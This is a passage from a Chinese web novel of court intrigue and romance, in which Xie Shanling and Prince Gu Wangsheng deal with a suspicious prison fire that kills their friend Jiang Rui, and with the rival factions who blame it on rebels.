情报传递顺利,宋淮安那边有条不紊,这边两人闲着也是闲着,不妨帮帮顾裕珩,不然这人真是够呛。 对于义军而言,顾裕珩当太子可比顾裕泽当有利多了。 谢善淩让陈贤直在京城里闹,也是算准了皇帝很可能顺水推舟地为三皇子招揽人心。 不过皇帝直接让三皇子亲自前来还是略略超出了他的预期。 “顾裕泽的势力越来越大,顾裕骐又没了,你爹急了。”谢善淩淡淡道。 顾望笙强烈排斥:“你爹……算了,是我爹。但你能不能别这么说?我爹不是你公爹?你也跑不了!” 谢善淩就是故意恶心他的,还在报复他刚刚用脏手捏自己脸。闻言一脸无辜地看他。 顾望笙又想捏他脸了,可想到这人心眼小起来比自己还小,只好含恨暂且罢了。 “说正事。”谢善淩一本正经,“还不能放松警惕。我就怕顾裕泽或宁蔚这条疯狗擅作主张,还是对泊润下毒手,让三皇子此行无功而返。” “那他们也要等顾裕珩来了之后再下手吧?”顾望笙道。 谢善淩摇头:“兵者诡道。对方不会完全按照我们的推测存在与行事。” 顾望笙立刻道:“我会让王五在牢中更注意防备,不让他们有机会对江锐下手。” “有劳。我也得跟宁蔚周旋一二。”谢善淩道。 顾望笙一听又开始没个正形,拧起眉头质疑:“那小子真不是断袖?不是我多疑,我总觉得他不对劲……” 谢善淩欲言又止,沉吟片刻,道:“罢了,我给你交个底。” 顾望笙起初没当回事,还沉浸在怨念之中,随口问:“什么?” 谢善淩轻叹一口气,语气微快:“宁蔚给我下药绑我的时候,我跟他说其实我心慕之人是他,但他不好龙阳,我就不敢说,谁料竟有被自己心爱之人亲手送上他人床榻的一日,我恨他。” 顾望笙:“…………” 他一脸麻木看着谢善淩,眼中失去光芒。 谢善淩摸摸鼻子,目光移到别处,镇定道:“若非如此,又怎能真在那一下将他唬住。虽然后来我翻脸砍断他脚筋,但……” 谢善淩自己也有点说不下去了,轻轻咳嗽了一声。 “戏都唱到那儿了,我当时没说自己是装的,顺势作出因爱生恨才越发要置他于死地的样子。也许他真信到了现在……虽然他确实不是断袖,却难免对我生出些复杂想法。” “别说他,我现在都要对你生出些复杂想法了!”顾望笙嘴角抽搐,原本就上火的牙龈更疼了,语无伦次道,“谢、善、淩、你你可真是……好好好……你好……你好……” “大丈夫行事,不拘小节。”谢丈夫幽幽道。 “都说了你给我拘点吧!!” 谢善淩不语,只低着头收拾桌上刚被顾望笙剥下来的荔枝壳。 顾望笙盯着他修长细腻的手指,粗声粗气道:“搁着吧,叫那些眼线来收,你难道还心疼他们干多了活儿?” 谢善淩这才轻声说:“我收拾了拿去给你熬水喝试试。昨日问了鲜果铺的人,说这样能降火。” “……”顾望笙欲言又止,半晌,戳戳他手腕,语气已经软了下来,刚刚是命令,此刻是央求,是语重心长,“毕竟是成了家的人了,你稍微拘一拘……除了这个和苦肉计,还有三十四计呢,难道就不够你使吗……” “有用就好”在谢善淩喉咙里打转儿,看着正在用美人计的顾望笙,他最终还是没将这四个字说出口,搪塞道:“嗯嗯听见了听见了。” 一听就又是敷衍,顾美人闷闷不乐地继续戳。 直到谢善淩被戳烦了,抬手朝顾望笙胳膊上啪啪啪啪地打了好几下。 * 谢善淩低头给自己续杯茶的工夫,一抬眼,不速之客已经拉开桌对面的椅子坐了下来。 他皱起眉头,嫌恶地放下茶杯就要离开。 “我今日不是来和你吵架的。”宁蔚平静道,“关于江锐的性命,你想不想谈?” 谢善淩一刻没有犹豫,拿起刚刚倒的茶水就朝宁蔚脸上泼去。 宁蔚急忙躲了下,茶水没泼到他脸上,但还是淋湿了他的半边肩头。 他皱眉不悦,威胁道:“看来你不在乎江锐的命?” 他和谢善淩讲事,谢善淩却与他胡搅蛮缠地讲情:“我不想再见到你!” 宁蔚沉默起来,半晌轻叹一声。 对于谢善淩曾经那番突兀莫名的告白,他不敢全信,因为太不可置信,又是在那样的情况下。 可也正因是在那样的情况下,谢善淩崩溃的模样不似作伪…… 这令他对谢善淩的心绪有些复杂。 “你先坐下冷静,我真是与你来谈和的。”宁蔚说。 谢善淩依然站着,冷脸道:“我与你、与顾裕泽,皆无和可谈。” 可他嘴里说着狠话,却终究没走。 宁蔚心中得意一笑,知他终究还是放不下江锐的性命,这些时日熬鹰似的熬他,到底将他熬动摇了。 降服谢善淩是一件很有成就感的事情。即便仍在过程之中,也是趣味无穷。 作者有话要说: 周起渝:@易悬,你应该挺能共情这个宁蔚吧,崇拜的大哥的男人却不爱大哥而是爱你们这种走狗什么的,背地里一想就能变态地爽翻天吧?(纯恶意) 易悬:…… 第59章 ◎谢善淩爱他在乎他才吃醋打他◎ “你背弃四殿下, 殿下并不与你计较,即便你与大皇子……”宁蔚的声音冷了冷,“只要你肯回心转意,殿下的身边仍有你的位子。” 谢善淩冷笑:“求人就要有求人的姿态, 你却居高临下说得好像我求你们似的。” 宁蔚知他性情骄傲, 忍了忍, 正要继续劝说,话还未出口就被打断。 “我已和大殿下成亲, 不会背弃于他。”谢善淩突然心平气和起来,他看着宁蔚的眼睛, 比起发怒或威胁,更像冷静下来的和谈, “你们也最好不要动他。” 宁蔚想了想,也放缓了语气:“你也知四殿下对你有多纵容,只要大皇子不碍他的大业, 看在你的份上……否则他哪有今日的风光。若你实在要和大皇子在一起,四殿下也并非巧取豪夺的人。只不过我看大皇子和三皇子真是越走越近。” 谢善淩又不耐烦了:“以我和顾裕泽的关系,顾裕帧不投靠三皇子, 难道投靠顾裕泽吗?而且这回有他的周旋, 你们攻打黔阳的后方供需才顺利,这有多难得你心里没数?二皇子就是死在这上面!” 这话倒不虚。宁蔚一时没说话。 “大殿下根本没有野心,他只想和我厮守过日!是二皇子生前再三刁难,他不得不择靠山以求自保。” 谢善淩道,“唐献仪和潘家事后,我早就心灰意冷, 对你们那些事情厌恶至极!若非自幼家人为保我性命定下与大殿下的婚约, 我对他有愧, 又怎会再蹚入这趟浑水?” 谢善淩越说越快,似是发泄,最终归于沉寂。 包间内安静了好一阵。 终于,谢善淩低声道:“我改变不了什么,也不想再去改变什么。如今我只想护家人好友的平安。” “你告诉顾裕泽,我可以保证说服江锐不再追查军械盗卖一事,就当从未发生。可若你们执意对江锐动手,我一定不惜代价让你们悔不当初。” 他冰冷的视线盯着宁蔚,半晌,转身离去。 宁蔚看着他的背影消失在视线当中,良久,轻笑一声,露出胜券在握的傲慢之色。 ——谢善淩已经不是铁板一块。 * 当晚谢善淩便在下榻的别庄收到了宁蔚叫人送来的一支带叶子的合欢花。 顾望笙低头擦拭刚从谢善淩那抢回来的母后的玉佩,给它涂油精心保养。 谢善淩站一旁看着玉佩。 顾望笙说这玉佩是送给他专一的未婚妻善菱的,不是给到处留情的大骗子的。 拥有夫君谢善淩的同时还拥有未婚妻善菱,你自己可真专一啊。谢善淩不由暗道。 罢了,权当让让单纯的小未婚夫。 谢善淩便大度而缓慢地解释:“合欢花又名夜合花,它的叶子夜晚合拢,故而引申出握手言和的意思。他的意思就是不会对江锐动手。” 顾望笙无理取闹:“那他怎么不把他手砍下来送过来呢?” 太无理取闹了,谢善淩无从哄起,只好祸水东引:“这得问你的老相好宋淮安,怎么没在战场上为你除掉这个心腹大患。” 顾望笙正要反驳,仔细一想,觉得也是! 自己在京城辛辛苦苦出卖色相哄难哄得很的临江仙,为此身心受创,宋淮安做了什么?自己夙兴夜寐的时候,宋淮安在做什么?! * 三皇子嫌水路晕船而且无趣,坚持走陆路。 他走陆路,一路排场可谓浩大,最苦的是前面一段路的郡县官员,刚孝敬了大皇子及大皇子身后的三皇子,谁料没多久三皇子自己来了! 小鬼都孝敬了,真佛不奉承那是肯定不行的。只好咬咬牙把地皮再刮刮。 陈贤直气得骂了一路! 当然,他只是直,不是傻,骂也讲究分寸,往好听了说就是进谏劝谏。但是话又说回来了,话也不会很好听。 出发前皇帝细细叮嘱了蠢货儿子一通,三皇子不得不忍耐陈贤直,反正左耳进右耳出,偶尔逼急了就催催行程做个样子糊弄,然后继续吃喝玩乐。 寻常宽松些半个月也能走完的路程,愣是走了一个多月,这还是陈贤直疯狂给皇帝送八百里加急告状的成果。 到达浔阳城门下的一刻,陈贤直和三皇子相看两厌,互相一瞥,不约而同翻个白眼转过头去,心里狂骂对方并且感慨自己终于得以解脱。 * 浔阳城虽暗地里实则归顺于顾裕泽,面上却是三皇子一派的拥趸,因而此次三皇子不远千里大驾光临,必是要夹道欢迎,极尽奢华招待之能事。 ——也是为了暗戳戳地给皇上及世人上眼药,展示三皇子穷奢极侈、到了前线还不忘如此贪受的德行。 三皇子自是察觉不出这层,乐呵呵享受着美酒佳人与上贡给自己的奇珍异宝,快活似神仙,来的目的都给忘了。 直到兢兢业业陪吃陪喝陪玩的顾望笙捂着一边脸求他赶紧把江锐的案给办了、人给放了。 据顾望笙说是昨夜陪他在醉春楼喝完花酒回去被谢善淩吃醋打的。 顾望笙说这话的时候还怪美得慌,一副谢善淩爱他在乎他才吃醋打他的光荣笑容。顾裕珩都懒得说他。 不过还是得说说。 “行了别捂着你那半边脸了,本来其实都消了啥也看不出来,你这一捂反倒都知道了,这不此地无银三百两嘛!”顾裕珩道。 顾望笙:“这不重要……” “别以为我不知道,你就是巴不得大家都知道谢善淩吃醋你吃花酒!”顾裕珩自以为发现了真相,得意又嫌弃地揶揄他。 果然顾望笙嘿嘿一笑,肉麻得人鸡皮疙瘩都起来了。 “出息!” 顾望笙还振振有辞:“我给宁蔚那伙人看看!你先前没在,不知道,他们当众羞辱我……” “得了得了,我没有不知道的。”顾裕珩不耐烦听他颠来倒去地说他们断袖之间的爱恨情仇。刚开始听听还好玩,听多了也就那样。 顾望笙见好就收,又提起江锐一案。 “谢善淩天天催我……”他叹着气,一副不堪生活重负的模样,“我也是难做。你就当帮帮皇兄我,先把江锐给放了。” 停了下,再度重重叹气。 “谢善淩也就罢了,那个陈贤直成天为这事儿跑我那儿找谢善淩叽叽咕咕,还骂我无能,我还不能骂回去,更不能揍他,看在他是谢善淩至交的面子上我还得陪着笑脸招待……” 好好一张挺俊的脸都快比苦瓜还苦了,顾裕珩这回看着倒是感同身受。 毕竟他和谢善淩以往没什么冲突,但来浔阳的一路真真切切地感受到了陈贤直的烦人! 再想想也确实该给父皇一个交代,省得父皇骂人。顾裕珩便卖人情道:“好好好,看你这么惨,我就帮你这吧!” 顾望笙急忙感恩戴德。 大梁朝的官员行事最为灵活,可以无中生有,也可以大事化小小事化了。 众人早就得了四皇子的指示,只等三皇子一开口,便顺水推舟地答应,只是还需配合三皇子假模假样地走过场审审。 在过场上集体失忆,浑然忘却先前说的石宏人证铁证如山的话,更是倒打一耙,说匪军叛徒必是包藏祸心诬告朝廷栋梁,绝不可信! 无论如何,三皇子英明神武,再世青天,明断是非,识破匪军毒辣阴谋,护下忠良…… 谢善淩和陈贤直从市街走过,路旁喝茶的民众听着说书先生慷慨激昂传颂三皇子的事迹,时不时爆发出喝彩声。 顾望笙狗腿地给三皇子安排的好事儿。 当时案子还没结,他先督促人将十八部宣扬三皇子丰功伟绩的说本写了出来并且连夜排练。 如今江锐还没出狱,四下已经在歌功颂德。 陈贤直边走边回头看着那说书人,眉头紧皱,险些撞上旁边伸出来的摊子,还好谢善淩及时拉了他一把。 陈贤直这才回过头来,不屑地哼了一声。 “贤直兄何必置气,也不是头一天如此。” 陈贤直瞪他:“说这风凉话!” “我安慰你呢。”谢善淩狡辩道。 陈贤直给他一个白眼当回复。 两人绕过大街,拐过巷子,周遭安静起来。远远瞅见层层平屋后面较高耸出的牢狱屋檐,陈贤直拉起谢善淩的衣袖催促:“走快点,等下泊润出来没见着咱俩……” 他却突的刹住脚步,望着从那腾空而起的青烟,愣了下。 下一刻谢善淩已经反应过来,脸色大变,反手拖住陈贤直就朝那边跑去。 两人喘着大气跑到浔阳城大牢的门口,火势已经很大了。 狱卒们灰头土脸地从里面跑出来,也很慌乱,大声问着怎么回事,有人赶紧脱卸自己的责任,也有人急忙去叫水车,张罗救火。 “泊润!” 陈贤直也早就反应过来,第一反应就是这火是冲着江泊润而来,否则哪有这么巧?! 他当即就要朝火场里冲去,谢善淩紧随其后一起朝里跑。 狱卒急忙扣住他俩,厉声叱喝:“当着我们面就想趁乱劫狱?!这火就是你们放的吧!”简直合情合理! 人精们迅速反应过来。牢狱好端端着这么大火自己难逃追责,这俩憨货别管是真凶还是假凶,先逮住,不就是现成的负责的人吗? 当即火都可以先不管,先把两人抓住。 陈贤直两条胳膊被人扣在身后,怒斥道:“我是朝廷派来主审江泊润冤案的钦差陈忠树!快放开我!快去救火!去救人!” 狱卒平日横惯了,刚刚睡着觉被烟熏醒,火急火燎逃出来,正头昏脑涨地烦着,闻言不耐烦地朝这小白脸脑袋上就是一巴掌,骂道: “又放火又劫狱,还冒充钦差,你小子九条命都不够花!老实待着!别自己找罪受!” 谢善淩:“他真是钦差陈忠树。” 于是他脑袋也被打了巴掌,而且看他长得更小白脸,还多踹了他两脚。 谢善淩和陈贤直自然都竭力反抗,大叫着要进去救人。 俩逮着他俩的狱卒被吵得更心烦气躁,正要动手狠揍,旁边更老道一点的一个狱卒拉了他俩一把,使了个眼色道:“先就这么拿着,别动手。” 说完朝陈贤直和谢善淩瞅去,语气客气: “事态紧急且重大,我等没见过钦差,不敢轻信,只能暂且如此,还请见谅。两位也见着了,我们已经在张罗着救火,若这位是钦差,那身份尊贵,我们更不敢松手让二位进去火场。两位先安静待在安全的地方,不要扰乱救火的秩序。” 这中年狱卒说话有条有理,谢善淩和陈贤直对视一眼,虽然都满面急迫满心担忧,却也不是不能理解。 “好,我们不闹,你们快救人!拜托了!”谢善淩急道。 作者有话要说: 顾望笙:我在夙兴夜寐[害羞]宋淮安在干什么[可怜] 宋淮安:我在努力劝自己别写实名举报信给昏君[白眼] 第60章 ◎火烧屁股的时候了还在这儿给老子断袖情深!◎ 宁蔚突然接到浔阳监牢失火的消息, 不由一怔,随即暗叫不好,匆忙策马赶回。 他回城时天已黑,径直去到牢狱外, 火已经灭了, 官兵层层站着, 手里举着火把将这一片地方照得亮如白昼。 大门口的空地上摆放着两具从头到脚覆盖白布的人形死尸。 陈贤直扑在其中一具白布死尸上正恸哭不已。 站在一旁的顾望笙紧紧抱着挣扎不休的谢善淩:“你先冷静下来,人死不能复生……” 就连顾裕珩都被惊动来了这里, 皱着眉头一脸严肃恼怒地看着这一切。 他面前站着浔阳知府一应官员,全都印堂发黑一脸衰相, 看起来便是刚刚挨过顾裕珩的叱骂。 他们没法儿回嘴,这事儿确实突兀且重大。 同样被火烧死的匪军石宏也就罢了, 江锐一案是圣上钦点,派来京官乃至于三皇子亲自主办,结果人被一场莫名其妙的大火烧死在了牢里…… 更令人绝望的是, 这场火还只烧死了江锐和石宏这两个人。 但凡多烧死几个十几个,也没眼下这么难以狡辩。这就差把冲着诬陷江锐的冤案杀人灭口写在纸上贴在墙上了! 一时间他们甚至迁怒起张罗救火的那些家伙了。怎么就没都烧死在里面! 还有!案子都结了,干嘛不早点把江锐赶出牢房?!江锐只要不是死在衙门的地盘, 爱死哪都行啊! 可眼下说这些都没用! 宁蔚也很烦恼, 正沉默不语,同样焦头烂额的顾裕珩余光瞥见他,扭头看来,眼中精光一闪,急忙拉他下水:“宁蔚!你可终于来了!” 宁蔚不得不走过去朝他躬身问礼。 虽心中不屑且对方肯定知道自己心中不屑,当着这么多人的面还是要做做表面功夫。 顾裕珩二话不说就开始甩黑锅:“哎呀你看这事儿怎么弄得, 你驻守在这……” 宁蔚立刻领会到了这个蠢货的意图, 打断他道:“三殿下, 我并非此地巡防驻守之将,陛下遣派我来收复黔阳,暂驻在此,浔阳城治安我无权也无空插手。今日我在黔阳城外勘察地形,接到消息原本不该我管,但想到殿下也在城中,担忧殿下安危,这才匆忙赶回。” 顾裕珩被他拿一番漂亮话堵回来,嘴角狠狠一抽,心中怒骂:本殿下看你是生怕本殿下没有危险! 面上也不好看起来,冷哼了一声,用不轻不重的声音说风凉话:“那也没见你把黔阳收回来啊。这都多久了……” 宁蔚正要回击,余光一闪,下一刻已经被谢善淩揪住了衣领。 其实以他的反应速度完全能躲开这一下,可他犹豫了一下,还是让谢善淩抓住了。 只不过谢善淩下一刻挥拳朝他脸上揍来时,他还是侧头避了过去。 谢善淩马上又一拳朝他揍来,这次被顾望笙给眼疾手快地拉住了,掰开谢善淩的手往怀里扯:“善淩你冷静下来!” 顾裕珩瞪着顾望笙低低骂了一句蠢货,不满他多管闲事阻碍谢善淩揍宁蔚。 谢善淩被顾望笙拉住,锐利而仇恨的目光如毒箭一般射向宁蔚,被浓烟呛了一下午、且悲愤过度而嘶哑的嗓音叫道:“是你!你们杀了江锐!宁蔚!是你!” 顾望笙惊慌地捂他嘴:“善淩!无凭无据的别乱说话……” 谢善淩挣扎着道:“顾裕泽……” 顾望笙一听他还要把顾裕泽扯进来,更害怕了,再顾不得轻重,使劲捂着谢善淩的嘴,皱着脸朝顾裕珩道:“殿下,这儿太乱了……谢善淩和江锐是好友,他一时接受不了事实,打击太大……要不我先带他回去……” 顾裕珩重重地啧他:“你说什么胡话呢!松开他!你太用力了!谢善淩一个读书人,啊,受得住你这手劲吗?!松手!快!” 顾望笙:“……” 顾裕珩急了,索性直接上手去掰扯顾望笙的手,一面低声骂道:“你蠢吗?快松手,让他把老四扯进来,否则父皇的雷霆之怒就得你我来担……蠢货!快松手让谢善淩嚷嚷!” 顾望笙却迟疑着没有如平常一般顺从他:“可是……我不想让善淩卷入这些事中……” 火烧屁股的时候了还在这儿给老子断袖情深! 顾裕珩险些被他气死,使出吃奶的劲儿来掰他,一面严厉道:“现在我命令你!立刻给我松手!不然别怪我翻脸无情!” 说着,又晓以情理,“保全咱俩才能保全谢善淩,这个道理你都不明白你真是……松手!” 最后顾裕珩掰得自己一个踉跄险些狼狈摔倒在地,但好歹有成果,顾望笙被他推搡着差点一起摔了,谢善淩重获自由,冲过去揪住宁蔚就是一拳揍过去。 嘴里丧失理智似的叫道:“为何不放过江锐!!我都说了他不会碍你们的事你们为何还不放过他!” 宁蔚一面闪躲一面沉声警告:“你冷静点,不要胡言乱语!” “江锐已死,我无心再和你们虚与委蛇!”谢善淩崩溃道,“你们害死唐献仪,现在又杀死江锐……将来还不知要杀谁……我先杀了你们!” 人多口杂,谢善淩发起疯来,不知还能说出什么事。 宁蔚眼中寒光一闪,举起手刀就要朝谢善淩后脖颈砍去,却见另一道黑影朝自己撞了过来。 他身上纠缠着一个谢善淩,来不及闪躲,被陈贤直使出全力直直朝腰撞来,即便是习武之人,到底腿脚不便,竟就这么被这两人弄翻在地。 陈贤直一刻不停,蹲下来一拳揍他脸上,哭骂道:“无耻之徒!江泊润已死,现在还要对谢思玄动手吗?!不如把我也一起杀了吧!” 谢善淩跨坐在宁蔚身上,双手使劲掐他脖子,疯叫:“我杀了你!!!” 宁蔚:“……” “哎——” 顾望笙惊呼着要来劝阻,却被顾裕珩一把拖住,怒斥:“说了让你别掺和!” 说着,顾裕珩厉目瞪向浔阳城一众官员,众人面面相觑,思索再三,没有动作。 明面上他们还是顾裕珩的人。 顾裕珩开心并期待地看着狼狈不堪的宁蔚和谢、陈俩人,头一回觉得谢善淩和陈贤直是如此的可人心意——不,怎么不继续嚷嚷老四了?那才更可心! 他正在心中疯狂催促,宁蔚的副将匆匆赶来,自是不管顾裕珩的态度,一把扯开发狂的谢、陈二人,还令跟来的亲兵制住两人。他则亲自扶起宁蔚。 顾望笙顿时来了力气,挣开顾裕珩冲过去将谢善淩抱在怀中,另一只手还记着将陈贤直拉到自己身后,喝道:“我看谁敢动他俩!” 至此,场面僵持起来。 宁蔚被副将扶起,目光阴沉毒怨地扫过面前几人,最终却只能压抑下去,正要开口,顾望笙又是一声惊呼,众人目光都聚集到了他怀中软趴趴昏厥过去的谢善淩身上。 “……”人都晕了,宁蔚一时有气也没处发,只能沉声说道,“今日事发突然,极为混乱,还请三殿下速速离去,以免出什么意外。大殿下也……” 他的声音越发沉了下去。 “今日之事与我无关,更与千里之外的四殿下无关!久闻谢思玄身患癔症,江锐是他好友,今日他癔病发作胡言乱语当不了真!我此刻也暂且不和他计较,还望大殿下好、好、管、教。” 他看着顾望笙,顾望笙欲言又止,明显不悦自己的措辞,可刚刚一事若自己真计较起来,谢善淩拿不出证据,光凭一张嘴对峙到皇帝面前也不好说…… 为此果然顾望笙只能含恨忍了,尽力挽回面子地说了句:“这事肯定要查,我必禀告父皇……” 语无伦次,丝毫没有气势可言,就连拿出来和四殿下相提并论,都是对四殿下的侮辱。 宁蔚不由冷笑。 顾望笙不知所以地胡乱说了几句,将求助的目光看向顾裕珩。 顾裕珩气极了,狠狠回他一个白眼,看了看昏迷的谢善淩,心中骂了句没用,又看了下自谢善淩昏迷后白着脸失去主心骨似的不再强硬的陈贤直,心中骂了句废物。 事已至此,眼看宁蔚的亲兵围了过来,顾裕珩眼珠子一转,好汉不吃眼前亏…… “今日到此为止!乱糟糟的!都不知道干什么吃的!”他看似在对浔阳知府说话,眼睛却瞪着宁蔚,“把场地收拾一下,尸体看管好!别让凶手找着机会毁尸灭迹!着火的原由给本殿下掘地三尺也得找出来!无论凶手是谁,本殿下一定会为江泊润讨回公道!” “……现在先回去!” * 一日之后,顾裕泽就收到了紧急飞鸽传书。 他很快看完,眉头紧紧皱起,将纸条递给身旁的心腹智囊。刚刚两人正在讨论事情。 心腹看完也是一怔:“这……难道是三皇子故意陷害?” 顾裕泽:“他没有这个脑子。” “这倒是。”心腹想了想,冷静下来缓缓道,“烧成焦尸了……宁蔚也说无法辨认,只能认出是成年男子身量相仿,也许是李代桃僵呢?” 顾裕泽也想到了这一点,他微微颔首,却又摇头。 “顾裕骐还没下落?”顾裕泽问,“谢婉柔怎么样了?” 心腹摇头:“依旧没有二皇子的下落……先前我们的人一路尾随谢婉柔南下,若二皇子没死,他必有眼目盯着谢家知道谢婉柔离家出走之事。谢婉柔到达黔阳附近时我们还故意制造危机胁迫她来试探二皇子是否在暗中保护,谁料谢婉柔竟宁死不从跳了江……如今还没找到。” “若谢婉柔死了,那个丫鬟就没用了。” “我明白,会处理干净。”心腹想了想,“殿下怀疑江锐之死是二皇子的手笔?” “若把江锐的死成功栽赃给我,谢善淩必会报复我。”顾裕泽沉默一阵,道,“让宁蔚在浔阳内外好好搜找江锐。若他活着,一个大活人总能找到。”停了停,垂眸道,“若他真死了……谢善淩……” 心腹看着他,欲言又止,最终只回了句:“我这就给宁蔚去书。” 事涉谢善淩,恐说得重了,可也不好说轻了,索性不说。 刚走到门口,就被身后的顾裕泽叫住,道:“你额外叮嘱宁蔚一句,不要去招惹谢善淩,务必暗中护好他的周全……他对我们很重要。” “……是。”果然。 说什么对“我们”很重要……唉,只对你很重要吧…… 谢善淩固然有才干,就连凌风飞骑最初也是他提议主张,可既然已经摆明态度划清界限,也不是非他不可。 四殿下对他一再忍让,无非是出于私情。 心腹对此有些不满,可除此之外四皇子再无别的缺点,他也只好忍耐,暗叹道:情,果真是世间最难解之物! 作者有话要说: 老四:请苍天,辨忠奸! 读者:辨你个头,打你肯定不会白打[白眼][摆手] 宁蔚:不要放精神病出门!(说话的时候正被善贤二人组摁在地上打) 宁蔚:他俩哪里善贤了!(持续被打) 60-70 第61章 ◎大皇子是个窝里横的窝囊废,只敢对妻子谢善淩动手◎ 谢善淩醒后一直在嚷嚷是顾裕泽杀了江锐。 顾望笙都不敢让他出门, 生怕他出去嚷嚷。 兹事体大,就连混不吝的大皇子也明白其中利害,天天愁眉苦脸地哀求这个活祖宗惹事也分轻重,别惹不能惹的。 即算是面对三皇子的训斥, 大皇子都愣是抗住了不肯答应放谢善淩去闹事攀扯四皇子。 三皇子虽然恼怒, 可心中自然也知道这是人之常情。 虽然看起来父皇疼爱自己, 可他老人家对待顾裕泽的态度又很暧昧,若一点也不在乎, 怎会让顾裕泽手握兵权呢? 平时顾裕泽和自己相互攻讦也就罢了,若是谢善淩去这么做, 恐怕谢善淩绝讨不着好。 老四再怎么说也是皇子。 就像父皇可以对潘家构陷报复谢善淩一事睁只眼闭只眼,却不会容许潘家以同样的手段对付老大——虽然三皇子自己知道后面那件事里潘家有多冤枉…… 想来想去, 三皇子虽然对顾望笙发了大大一场火,到底没说别的,转而将殷殷期待投向陈贤直。 谢善淩嫁了人就受制于夫君, 陈贤直没啊! 陈贤直父母双亡,无妻无子,未婚妻也没有, 亲戚都没几个, 所以他一人吃饱全家吃饱,堪称无所畏惧。 这几日他自带干粮堵在浔阳衙门里讨要说法。 浔阳知府及一并地方官无奈安抚他,说一定会查明江锐死因,劝他还是去江家开导开导白发人送黑发人的江家父母吧!也主持主持给江大人好好安葬的事儿。 毕竟江大人亲戚也不多,另一个好友又因发疯而被禁足在家。 陈贤直却和江锐的另一位好友一样油盐不进。 ——不愧是好友啊你们仨!这茅坑里的石头又臭又硬的软硬不吃的死样子简直是一个模子里刻出来的!众人心中白眼都要翻上天地这么腹诽。 陈贤直不仅不听劝,更是直言:这些官场敷衍人的套话我听得多了, 一日不找出真凶, 江泊润一日在天之灵不得安息, 比起区区尸体下葬,我不如用真凶的血来祭他,才是真正全我和他的朋友之义! 听听,听听,啊,多新奇的言论!尸体安葬难道不比其他事儿重要吗?人活一世,熬油似的熬到死,不都是为了死后能享受埋尸的尊荣吗? 这么想的,但不敢这么和陈贤直吵。 听闻陈贤直吵起架来十分的胡搅蛮缠,张口就揭对方老底,不讲文德,而且言辞还极尽刻薄之能事(比起来江锐都顺眼了,这家伙至少说话没那么难听)。 京城的官员对陈贤直一般是能避就避,否则就算圣上圣明、不因他的胡言乱语而责怼自己,自己也会一肚子气无处发泄。 因为圣上也不责怼他……圣上自己都在忍。 话没直说,底下人揣摩着,大概就是总得有个陈贤直这样的撑撑门面,凸显今上如唐宗容纳魏征一般的明君气度。 原本浔阳上下是想拖着,可陈贤直不让。 当然了,陈贤直再胡来,其实也不能影响全局。 真不理他,顶多面上难看点,浔阳官员也都不是吃素的,若真铁了心将眼一闭,任由他去堵衙门,再将一份奏折送去京城告状,陈贤直也讨不着好。 可四皇子暗中来了指示,让他们务必平息陈贤直的怒火,不要节外生枝,也是对京城之中的皇帝有个交代——三皇子一早就跟京城添油加醋胡说此事了。 皇帝的旨意还没下来,他们最好在那之前给个交代,也是撇清自己。 众人思来想去,实在是千头万绪。 三皇子说不是他干的,四皇子也说不是他干的,那还能是谁干的?我们吗??说不定真就是意外呢! 但意外一说肯定不能说服陈贤直。 又琢磨良久,最后统一了口径。 “是匪军。”浔阳知府一脸凝重地说。 陈贤直:“……” “唉,匪军的目标其实是石宏!石宏知道得太多了,匪军一直想杀他,我们严防死守,可只有千日做贼哪有千日防贼,也防不胜防……最近到处事儿多,竟让他们钻着了空子。石宏做过匪军死不足惜,怎么就连累了泊润!” 知府说到深切处,一把握住陈贤直的手,被陈贤直嫌弃甩开,他也不恼,语气一扬,慷慨激昂: “陈大人必定要为泊润报仇啊!我们也会谨以此事铭心刻骨,将愤怒转为剿匪之无限动力!” 他还要再说,被陈贤直打断:“我不信!你休想敷衍……” “陈大人。”这回轮到知府打断他的话,双眼平静看着他,“若不是匪军,您想说是谁呢?” 陈贤直一愣。 知府看他这模样倒也不是真傻,不由心中冷笑一声。 “陈大人,我们查出来就是匪军,人证物证皆有,那些狱卒及住在周围的一些人回忆当日确实见到过行踪诡异的陌生人在牢狱周围转悠,随后不久就着火了。” “根据众人所说画像出来,还真是匪军的一个小头目,这是许多人在战场上见到过的,您即便去问宁将军,他应该也见过。” 见陈贤直欲言又止,一副不服却又无可反驳的样子,知府越发得意自信。 “物证也有,那人在火场落下了刻有匪军印记的一把匕首,这岂不是铁证如山?” 抓真凶难,造假就容易很多嘛! 而且也不算全假,那匕首真是出自匪军,当初抓到石宏时石宏身上带的。 陈贤直半晌才又憋出一句“如此证据不算牢靠”,却被知府正义凛然地堵回来。 “这若不算牢靠,难道非得我亲自将匪军头子宋淮安或秦青逮回来才算牢靠吗?陈大人,您要查明真相以慰江泊润在天之灵,我已经查得明明白白,若您执意不信,那我也没办法。您自可向圣上请旨自查!” 停了停,声音低沉下来,眯眼看着他,语带威胁。 “还是说,陈大人心中已有认定的真凶人选?大可说出来,下官自会将陈大人的想法陈明给圣上……” 若陈贤直真敢和谢善淩一样嚷嚷出四皇子的名字,知府也算佩服他了。 可陈贤直沉默许久,几番欲言又止,最终还是怕死,目光闪躲地悻悻然不说话了。 毕竟他不是谢善淩。 谢善淩多少有谢老太师和大皇子当靠山,四皇子本人也对谢善淩许多放纵……陈贤直可是屁都没有!那话真说出口,皇上都不会饶他。 算他还有点脑子!想是之前被谢善淩怂恿起来的,可谢善淩自个儿不在,陈贤直就支棱不起来了。 知府想到这里,态度和缓许多,对着陈贤直一番劝慰和夸赞,所谓恩威并施。最终陈贤直只能郁闷地离开了衙门。 陈贤直来到官驿探望据大皇子说一直卧病在床的谢善淩。 谢善淩确实坐在床褥里,大皇子正哄他吃东西。谢善淩眉眼倦怠,别过头去爱答不理。 “哎呀,还生气呢?我也是没办法……”大皇子讪讪地说着,转头见着陈贤直来了,急忙起身热情道,“贤直兄来了!快坐快坐。善淩你朋友来了,你快笑一个。” 谢善淩:“……” 陈贤直不忍直视地微微皱起眉头:“大殿下,臣说过臣比殿下还晚两年。” “哎呀我随善淩我随善淩。”顾望笙说。 谢善淩大声悲愤:“那你倒是放我出去!” 大皇子又是一顿劝慰,可谢善淩又闹起来。 最后还是陈贤直说官府有了结论,谢善淩才安静下来听他说。 可是听完又开始发火,说这都是四皇子在暗中操纵。 大皇子终于受不了了,也发起火来,怒吼道:“谢善淩你给老子闭嘴!你是真想死吗?!” 谢善淩吼回来:“这日子我生不如死!” 大皇子:“你无非是嫁给我所以生不如死!” 